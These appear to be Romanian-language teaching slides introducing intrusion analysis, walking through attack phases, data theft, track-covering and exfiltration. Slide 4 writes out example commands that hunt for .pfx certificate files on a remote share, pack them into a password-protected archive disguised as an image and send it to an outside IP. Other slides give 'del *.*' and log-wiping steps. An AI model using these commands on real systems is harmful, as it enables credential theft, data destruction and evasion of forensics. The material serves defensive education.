Introducere în analiza

intruziunilor
 Ce este o intruziune?

• Acces neautorizat la un sistem informatic

• Problemă?

2
 Procesul de spargere: Accesul

• Amprentarea
Ușa
– Cercetarea online / colectarea
informațiilor, identificarea țintelor Exemple de scanare:
de valoare
NMAP GUI – Care este problema în
• Scanarea acest caz?
– Identificarea vulnerabilităților,
porturilor deschise și potențialilor
vectori de atac
• Enumerarea
– Se conectează la rețeaua victimă
și căută nume de utilizator, numele
serverului și alte vulnerabilități
exploatate
• Penetrare
– Exploatează și obține control la
distanță asupra sistemului victimei

3
 Procesul de spargere: EVIL

• Fură date
– Colectează date sensibile;ex., dir\\<Redacted IP Address>\c$\*.pfx /s o
– Codigică/reduce datele; ex., regsrv a – hpzaq123 pro.jpg c:\temp
– Exfiltrează datele; ex., spik.exe 211.174.62.78 8080 p pro.jpg zaq123

4
 Procesul de spargere

• Distruge datele
– del *.*
• Modifică datele
– Modifică salariul, notele,
datoria etc.
– Dezactivează site-uri
• Creează date false
– Trimite e-mailuri neautorizate din
contul unui conducător

5
 Procesul de spargere

• Instalează programe malware/aplică instrumentele existente

– Deschid un port de interceptare
– Stabilesc persistența
– Sună la domiciliu
– Adaugă sistemul victimă la C2
– Enumeră alte victime
• Ascunde urmele
– Modifică mărcile temporale
– Șterg jurnalul de evenimente Windows
– Șterg fișierele Prefetch
– Folosesc nume de fișier din sistemul Windows (sau variante ale
acestora)

6
 Exfiltrarea datelor

• Exfiltrarea datelor este procesul de mutare a informațiilor furate

de la sistemul victimă la sistemul atacatorului
• mod frecvent, un atacator va folosi următoarele tehnici:
– Muta toate fișierele țintă într-o locație centrală (de exemplu C:\temp)
– Comprima fișiere separate într-un singur fișier .rar sau .zip
– Cripteaza fișierul de exfiltrație
– Muta fișierul țintă din rețeaua victimă utilizând o varietate de
instrumente, cum ar fi SMTP, FTP, malware personalizat și netcat

7
 Țintele pentru exfiltrarea datelor

• Atacatorii de rețea pot fi interesați de o gamă largă de ținte:

– File keylogger
– Informații despre enumerarea rețelei
– Jurnal de trafic Internet direcționat (bancar, informații financiare)
– Extrase din baza de date SQL
– Cercetări și dezvoltări corporative specifice
– Inteligență militară/guvernamentală